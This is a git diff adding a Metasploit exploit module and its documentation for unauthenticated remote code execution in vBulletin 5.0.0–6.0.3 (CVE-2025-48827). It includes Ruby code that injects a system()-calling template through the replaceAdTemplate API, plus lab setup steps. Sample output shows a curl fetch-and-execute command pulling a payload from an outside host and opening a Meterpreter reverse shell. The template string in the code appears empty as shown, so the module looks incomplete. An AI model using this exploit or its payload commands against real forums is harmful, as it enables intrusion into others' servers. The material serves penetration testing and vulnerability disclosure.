diff --git a/documentation/modules/exploit/multi/http/vbulletin_replace_ad_template_rce.md b/documentation/modules/exploit/multi/http/vbulletin_replace_ad_template_rce.md new file mode 100644 index 0000000000000..6f47e029b5715 --- /dev/null +++ b/documentation/modules/exploit/multi/http/vbulletin_replace_ad_template_rce.md @@ -0,0 +1,173 @@ +## Vulnerable Application + +This Metasploit module exploits a design flaw in vBulletin’s AJAX API handler and template +rendering system, affecting **vBulletin 5.0.0 through 6.0.3** on **PHP 8.1+**. +An unauthenticated attacker can invoke the protected `vB_Api_Ad::replaceAdTemplate()` method to inject a malicious template that calls +`"system"("base64_decode"($_POST[]))`, then trigger execution via the `ajax/render/ad_` endpoint, +yielding arbitrary code execution as the webserver user. + +> **Note:** vBulletin is commercial software and is **not** included here. You must obtain a licensed copy and extract it under `./upload/`. + +--- + +## To replicate vulnerable environments + +1. **vBulletin 6.0.1 (tested)** + + * Purchase and download vBulletin 6.0.1 from the official portal. + * Extract all files into `./upload/`. + +2. **Other versions (5.0.0–6.0.3)** + + * Repeat the above with any of the supported versions. + * Ensure you run on PHP 8.1+; earlier PHP versions do not expose this flaw. + +--- + +## Docker Compose Configuration + +```yaml +services: + db: + image: mysql:5.7 + container_name: vbulletin_db + restart: unless-stopped + environment: + MYSQL_ROOT_PASSWORD: root_password_here + MYSQL_DATABASE: vbulletin + MYSQL_USER: vbulletin + MYSQL_PASSWORD: vb_password_here + volumes: + - db_data:/var/lib/mysql + + web: + build: . + container_name: vbulletin_web + depends_on: [db] + ports: ["8888:80"] + environment: + VB_DB_HOST: db + VB_DB_NAME: vbulletin + VB_DB_USER: vbulletin + VB_DB_PASS: vb_password_here + +volumes: + db_data: +``` + +Create the following **Dockerfile** and **docker-entrypoint.sh** in the same directory: + +**Dockerfile** + +```dockerfile +FROM php:8.1-apache + +COPY upload/ /var/www/html/ + +RUN apt-get update && \ + apt-get install -y --no-install-recommends \ + libzip-dev zlib1g-dev libonig-dev \ + libpng-dev libjpeg-dev libfreetype6-dev && \ + docker-php-ext-install \ + zip mysqli pdo_mysql gd mbstring && \ + a2enmod rewrite && \ + rm -rf /var/lib/apt/lists/* + +RUN echo "phar.readonly=Off" > /usr/local/etc/php/conf.d/vbulletin.ini + +COPY --chmod 755 docker-entrypoint.sh /usr/local/bin/ +ENTRYPOINT ["docker-entrypoint.sh"] +CMD ["apache2-foreground"] +``` + +**docker-entrypoint.sh** + +```bash +#!/bin/bash +chown -R www-data:www-data /var/www/html +exec "$@" +``` + +--- + +## Verification Steps + +1. **Start the environment** +```bash +docker-compose up -d +``` + +2. **Install vBulletin** +Open [http://localhost:8888](http://localhost:8888) and complete the installation: + +* **Database Host:** db +* **DB Name:** vbulletin +* **DB User:** vbulletin +* **DB Password:** vb_password_here + +3. **Run `msfconsole`** + +```bash +use exploit/multi/http/vbulletin_replace_ad_template_rce +set RHOSTS 127.0.0.1 +set RPORT 8888 +set TARGETURI / +check +``` + +--- + +## Options + +No option + +--- + +## Scenarios + +### Unauthenticated Pre-Auth RCE + +1. Ensure vBulletin 5.0.0–6.0.3 is installed and running on PHP 8.1+. +2. In `msfconsole`, configure and run: + +```bash +set RHOSTS localhost +set RPORT 8888 +set TARGETURI / +``` + +--- + +## Expected Results + +### With `cmd/linux/http/x64/meterpreter/reverse_tcp` + +```plaintext +msf6 exploit(multi/http/vbulletin_replace_ad_template_rce) > run http://lab:8888 +[*] Command to run on remote host: curl -so ./BGZuzbsi http://192.168.1.36:8080/LoPlnjEpeOexZNVppn6cAA;chmod +x ./BGZuzbsi;./BGZuzbsi& +[*] Fetch handler listening on 192.168.1.36:8080 +[*] HTTP server started +[*] Adding resource /LoPlnjEpeOexZNVppn6cAA +[*] Started reverse TCP handler on 192.168.1.36:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Starting vulnerability check on 127.0.0.1:8888/ +[*] Generating random marker and condition for mode check +[*] Sending POST to ajax/api/ad/replaceAdTemplate (location=QuFcp) +[*] Injection response: HTTP 200 +[+] Marker found in injection response body +[+] The target is vulnerable. +[*] Generating random marker and condition for mode exploit +[*] Sending POST to ajax/api/ad/replaceAdTemplate (location=XSGFS) +[*] Client 172.28.0.3 requested /LoPlnjEpeOexZNVppn6cAA +[*] Sending payload to 172.28.0.3 (curl/7.88.1) +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3045380 bytes) to 172.28.0.3 +[*] Meterpreter session 8 opened (192.168.1.36:4444 -> 172.28.0.3:53014) at 2025-05-29 16:27:00 +0200 + +meterpreter > sysinfo +Computer : 172.28.0.3 +OS : Debian 12.11 (Linux 6.14.8-2-cachyos) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +``` diff --git a/modules/exploits/multi/http/vbulletin_replace_ad_template_rce.rb b/modules/exploits/multi/http/vbulletin_replace_ad_template_rce.rb new file mode 100644 index 0000000000000..888c3a3def909 --- /dev/null +++ b/modules/exploits/multi/http/vbulletin_replace_ad_template_rce.rb @@ -0,0 +1,143 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'vBulletin replaceAdTemplate Remote Code Execution', + 'Description' => %q{ + This module exploits a design flaw in vBulletin's AJAX API handler and template rendering system, + present in versions 5.0.0 through 6.0.3. The vulnerability allows unauthenticated attackers + to invoke protected controller methods via the ajax/api/ad/replaceAdTemplate endpoint, + due to improper use of PHP's Reflection API in combination with changes in PHP 8.1+. + + Specifically, it targets the vB_Api_Ad::replaceAdTemplate() method to inject a template + containing a conditional that evaluates attacker-supplied PHP using the + "system"($_POST[]) construct. The malicious template is then executed via + a second unauthenticated request to ajax/render/ad_. + + Successful exploitation results in arbitrary command execution as the webserver user, + without authentication. This module supports payloads for PHP, Linux, and Windows. + + Tested against vBulletin 5.1.0, 5.7.5, 6.0.1, and 6.0.3 running on PHP 8.1. + }, + 'Author' => [ + 'Egidio Romano (EgiX)', # original PoC + 'Valentin Lobstein' # Metasploit module + ], + 'References' => [ + ['URL', 'https://karmainsecurity.com/dont-call-that-protected-method-vbulletin-rce'], + ['CVE', '2025-48827'], + ['CVE', '2025-48828'] + ], + 'License' => MSF_LICENSE, + 'Platform' => %w[unix linux windows], + 'Arch' => [ARCH_CMD], + 'Targets' => [ + [ + 'Unix/Linux Command Shell', + { + 'Platform' => %w[unix linux], + 'Arch' => ARCH_CMD + # tested with cmd/linux/http/x64/meterpreter/reverse_tcp + } + ], + [ + 'Windows Command Shell', + { + 'Platform' => 'win', + 'Arch' => ARCH_CMD + # tested with cmd/windows/http/x64/meterpreter/reverse_tcp + } + ], + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => '2025-05-23', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + end + + def check + vprint_status("Starting vulnerability check on #{rhost}:#{rport}#{target_uri.path}") + inject_and_trigger(:check) ? CheckCode::Vulnerable : CheckCode::Safe + end + + def exploit + inject_and_trigger(:exploit, payload: payload.encoded) + end + + def inject_and_trigger(mode, payload: nil) + marker, location, param = Array.new(3) { Rex::Text.rand_text_alpha(5, 8) } + pattern = /string\(#{marker.length}\) "#{marker}"/ + + vprint_status("Generating random marker and condition for mode #{mode}") + if mode == :check + condition = %{"var_dump"("#{marker}")} + trigger_value = Rex::Text.encode_base64(marker) + else + encoded_payload = Rex::Text.encode_base64(payload) + # Sadly we can't use `eval()` here as it's a language construct and we need a proper function. + condition = %{"system"("base64_decode"("#{encoded_payload}"))} + end + + template = "" + + vprint_status("Sending POST to ajax/api/ad/replaceAdTemplate (location=#{location})") + inj = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path), + 'vars_post' => { + 'routestring' => 'ajax/api/ad/replaceAdTemplate', + 'styleid' => '1', # Can't randomize this value + 'location' => location, + 'template' => template + } + ) + + if mode == :check + return true if handle_check_response(inj, pattern, 'injection') + + render_vars = { 'routestring' => "ajax/render/ad_#{location}" } + render_vars[param] = trigger_value + + vprint_status("Sending POST to ajax/render/ad_#{location} to trigger execution") + render = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path), + 'vars_post' => render_vars + ) + return handle_check_response(render, pattern, 'trigger') + end + + true + end + + def handle_check_response(response, pattern, stage) + vprint_status("#{stage.capitalize} response: HTTP #{response&.code}") + unless response&.code == 200 + vprint_error("#{stage.capitalize} request failed (HTTP #{response&.code || 'nil'})") + return false + end + if response.body.match?(pattern) + vprint_good("Marker found in #{stage} response body") + true + else + vprint_error("Marker not found in #{stage} response body") + false + end + end +end